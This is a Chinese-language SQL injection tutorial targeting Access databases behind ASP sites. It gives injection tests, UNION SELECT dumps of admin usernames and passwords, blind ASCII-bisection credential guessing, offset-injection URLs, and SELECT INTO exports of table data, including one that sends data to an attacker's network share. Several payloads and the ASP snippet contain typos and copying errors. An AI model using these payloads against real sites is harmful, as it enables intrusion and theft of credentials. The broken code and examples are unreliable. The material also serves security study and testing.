目录 Table of Contents
11 Access 注入详解
注入漏洞分析
站库分类
网站分类
- 静态网页 :
html 或者 htm, 是一种静态的页面格式, 不需要服务器解析其中的脚本. 由浏览器解析.
-
不依赖数据库
-
灵活性差, 制作更新维护麻烦
-
交互性较差, 在功能方面有较大的限制
-
安全, 不存在 SQL 注入漏洞
- 动态网页 :
asp, aspx, php, jsp 等, 由相应的脚本引擎来解释执行, 根据指令生成静态网页.
-
依赖数据库
-
灵活性好, 维护简便
-
交互性好, 功能强大
-
存在安全风险, 可能有 SQL 注入漏洞
常见的数据库
-
Access
-
MsSQL server
-
MySQL, oracle, postgresql, Db2 等
网站访问模型
漏洞成因
注入漏洞是怎么样形成的
数据与代码未严格分离; 用户提交的参数数据未做充分检查过滤即被代入到 SQL 命令中, 改变了原有 SQL 命令的 "语义", 且成功被数据库执行.
常见的注入流程
注入危害
- SQL 注入的定义 :
很多应用程序都使用数据库来存储信息. SQL 命令就是前段应用程序和后端数据库之间的接口. 攻击者可利用应用程序根据提交的数据动态生成 SQL 命令的特性, 在 URL, 表单域, 或者其它的输入域中输入自己的 SQL 命令, 改变 SQL 命令的操作, 将被修改的 SQL 命令注入后端数据库引擎执行.
- SQL 注入的危害 :
这些危害包括但不限于 :
-
数据库信息泄露 : 数据库中存放的用户的隐私信息泄露
-
网页篡改 : 通过操作数据库对特定网页进行篡改
-
网站被挂马, 传播恶意软件 : 修改数据库一些字段的值, 嵌入网马链接, 进行挂马攻击
-
数据库被恶意操作 : 数据库服务器被攻击, 数据库的系统管理员账户被窜改
-
服务器被远程控制, 被安装后门. 经由数据库服务器提供的操作系统支持, 让黑客得以修改或控制操作系统
-
破坏硬盘数据, 瘫痪全系统
一些类型的数据库系统能够让 SQL 指令操作文件系统, 这使得 SQL 注入的危害被进一步放大
其实我们判断有没有存在注入, 就是它有没有把我们后面输的语句带进去执行了.
Access 数据库注入详解
Access 数据库介绍
Microsoft Office Access 是由微软发布的关系数据库管理系统. 它结合了 Microsoft Database Engine 和图形用户界面两项特点, 是 Microsoft Office 的系统应用程序之一.
优势 & 缺陷, 自行百度
ASP 链接 Access 数据库代码
"Driver={microsoft access driver(*.mdb)};uid=admin;pwd=pass;"
dim conn
set conn = server.createobject("adodb.connection")
conn.open "provider=Microsoft.ACE.OLEDB.12.0;" & & "data source = " & server.mappath("bbs.mdb)
打开工具
-
数据库后缀 *.mdb
-
常用打开工具
- 辅臣数据库浏览器
- 破障浏览器
Access 数据库注入原理
漏洞判断
- 判断注入点 :
'
and 1=1
and 1=2
/
-0
.0
.1
用 Burpsuite 查看返回信息
判断数据库注入
-
and exsits (select * from msysobjects)>0 access
-
and exsits (select * from sysobjects)>0 sqlserver
-
判断数据库表
and exists (select * from admin)
-
判断数据库列名
and exisits (select admin from admin)
我们用 漏洞分析
下的 Mantra
浏览器
Access 注入
-
判断字段长度
order by 20
order by
其实是排序语句, 但是它可以用来判断有多少列
-
判断
and 1-2 union select 1,2,3,4,5,6,7,8,9 from admin
-
数据库联合查询
and 1=2 union select 1,2,admin,4,password,6,7,8,9 from admin
番外篇
- 判断账户密码的长度
and (select len(admin) from admin)=5
如果返回正常则说明管理员账户长度为 5
and (select len(password) from admin)=5
猜解管理员密码长度是否为 5
- 猜解管理员账户的第一个数据
- 通过 ASCII 码来判断
and (select top 1 asc(mid(admin,1,1)) from admin)>100
返回正常则说明大于, 不正常说明不大于
and (select top 1 asc(mid(admin,1,1)) from admin)>50
同上
and (select top 1 asc(mid(admin,1,1)) from admin)=97
返回正常则说明等于 97, 97 对应字母为 a.
以此类推
- 判断管理员账户的第二个数据
and (select top 1 asc(mid(admin,2,1)) from admin)>100
返回正常说明大于, 不正常说明不大于
- 判断第三个数据
and (select top 1 asc(mid(admin,1,1)) from admin)>100
同上
-
以此类推
-
判断管理员密码的第一个数据
and (select top 1 asc(mid(password,1,1)) from admin)>100
同上
折半查找
常用工具
阿D, 明小子, 穿山甲, havji, sqlmap 等
Access 数据库高级玩法
爆出表名, 但是爆不出列名
偏移注入
偏移注入的产生主要是用来解决表名猜出来了, 但是列名猜不出来的情况
http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
- 用 * 代替字段长度
用 *
来从最后一个字段数 22 向前逐个删除来代替, 直到显示正常为止, *
代表了所有 admin 表的字段
步骤如下 :
http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin
爆出来的数据是随机的
然后代入公式 :
一共是多少列, 然后减去剩下的
一共有 38, 38 减去剩下的也就是 27 等于 11
1.union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
保证表名为 admin, 不然会报错, 这里你要根据你测试的那个表名来修改代码
2.union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
38 - 27 = 11, 然后我们还可以 27 - 11 = 16, 在 16 的位置上再偏移一次对应 1.
然后我们还可以 16 - 11 = 5, 再一次偏移, 对应 2.
第二种方法 :
-
后台登录文件源码表单里面的参数值
-
看网站地址链接上的规则
-
是否判断出对方使用的 cms 程序
跨库查询
利用 Access 写入文件
利用 SQL 注入 Access 导出数据库内容到文本文件 (可导出 txt, htm, html 等格式) 的方法 :
select * into [test.txt] in ' d:\web\' ' text;' from admin
执行上述语句, 在 d:\web 目录下就会生成 test.txt 文件, 其内容就是 admin 表的内容. 但是导出 asp 格式就不行, 会报错 "不能更新, 数据库或对象为只读"
其实控制导出文件后缀是存储在注册表的, 具体键值是 HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension
默认情况下值为 !txt,csv,tab,asc,tmp,htm,html
, 如果我们把 asp 添加进去的话, 就可以导出 asp 格式的文件了
这个方法跟那个调用 Access 的 Shell 函数执行命令一样, 要修改注册表, 所以利用价值不是很大
可以导出到自己的机器 : select * into [test.txt]in' \\yourip\share' 'text;' from admin